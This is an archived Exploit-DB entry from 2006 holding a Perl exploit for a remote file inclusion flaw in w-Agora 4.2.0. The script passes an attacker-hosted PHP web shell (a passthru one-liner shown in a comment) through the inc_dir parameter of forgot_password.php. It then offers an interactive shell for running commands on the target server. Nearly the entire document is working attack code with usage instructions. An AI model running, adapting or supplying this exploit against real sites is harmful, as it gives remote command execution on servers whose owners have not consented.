w-Agora <= 4.2.0 inc_dir Remote File Include Exploit

2006-06-22T00:00:00
ID EDB-ID:1945
Type exploitdb
Reporter the_day
Modified 2006-06-22T00:00:00

Description

w-Agora <= 4.2.0 (inc_dir) Remote File Include Exploit. Webapps exploit for php platform

                                        
                                            #!/usr/bin/perl
##
# W-Agora &lt;= 4.2.0 (inc_dir)  Remote File Inclusion Exploit
# Bug Found & code By dedi.dwianto aka the_day
#
# base on advisory at http://advisories.echo.or.id/adv/adv34-theday-2006.txt
#
#
##
# www.echo.or.id (c) 2006
#
##
# usage:
# perl wagora.pl &lt;target&gt; &lt;cmd shell location&gt; &lt;cmd shell variable&gt;
#
# perl wagora.pl http://target.com/w-agora/ http://target.com/cmd.txt cmd
#
# cmd shell example: &lt;?passthru($_GET[cmd]);?&gt;
#
# cmd shell variable: ($_GET[cmd]);
##
# #
#greetz:echo|staff(y3dips,the_day,moby,comex,z3r0byt3,c-a-s-e,S`to,lirva32,anonymous),kaiten,an0maly,SinChan,sakitjiwa,rizal,etc
#
# Contact:  dedi.dwianto [at] pacomnet.com www.echo.or.id #e-c-h-o @irc.dal.net
##

use LWP::UserAgent;

$Path = $ARGV[0];
$Pathtocmd = $ARGV[1];
$cmdv = $ARGV[2];

if($Path!~/http:\/\// || $Pathtocmd!~/http:\/\// || !$cmdv){usage()}

head();

while()
{
      print "[shell] \$";
while(&lt;STDIN&gt;)
      {
              $cmd=$_;
              chomp($cmd);

$xpl = LWP::UserAgent-&gt;new() or die;
$req = HTTP::Request-&gt;new(GET =&gt;$Path.' forgot_password.php?inc_dir='.$Pathtocmd.'?&'.$cmdv.'='.$cmd)or die "\nCould Not connect\n";

$res = $xpl-&gt;request($req);
$return = $res-&gt;content;
$return =~ tr/[\n]/[ĂŞ]/;

if (!$cmd) {print "\nPlease Enter a Command\n\n"; $return ="";}

elsif ($return =~/failed to open stream: HTTP request failed!/ || $return =~/: Cannot execute a blank command in &lt;b&gt;/)
      {print "\nCould Not Connect to cmd Host or Invalid Command Variable\n";exit}
elsif ($return =~/^&lt;br.\/&gt;.&lt;b&gt;Fatal.error/) {print "\nInvalid Command or No Return\n\n"}

if($return =~ /(.*)/)
{
      $finreturn = $1;
      $finreturn=~ tr/[ĂŞ]/[\n]/;
      print "\r\n$finreturn\n\r";
      last;
}

else {print "[shell] \$";}}}last;

sub head()
 {
 print "\n============================================================================\r\n";
 print " *W-Agora &lt;= 4.2.0 (inc_dir)  Remote File Inclusion Exploit*\r\n";
 print "============================================================================\r\n";
 }
sub usage()
 {
 head();
 print " Usage: perl wagora.pl &lt;target&gt; &lt;cmd shell location&gt; &lt;cmd shell variable&gt;\r\n\n";
 print " &lt;Site&gt; - Full path to w-agora ex: http://www.site.com/w-agora/ \r\n";
 print " &lt;cmd shell&gt; - Path to cmd Shell e.g http://www.your-site.com/cmd.txt \r\n";
 print " &lt;cmd variable&gt; - Command variable used in php shell \r\n";
 print "============================================================================\r\n";
 print "                   Bug Found by dedi.dwianto aka the_day \r\n";
 print "                    www.echo.or.id #e-c-h-o irc.dal.net \r\n";
 print "============================================================================\r\n";
 exit();
 }

# milw0rm.com [2006-06-22]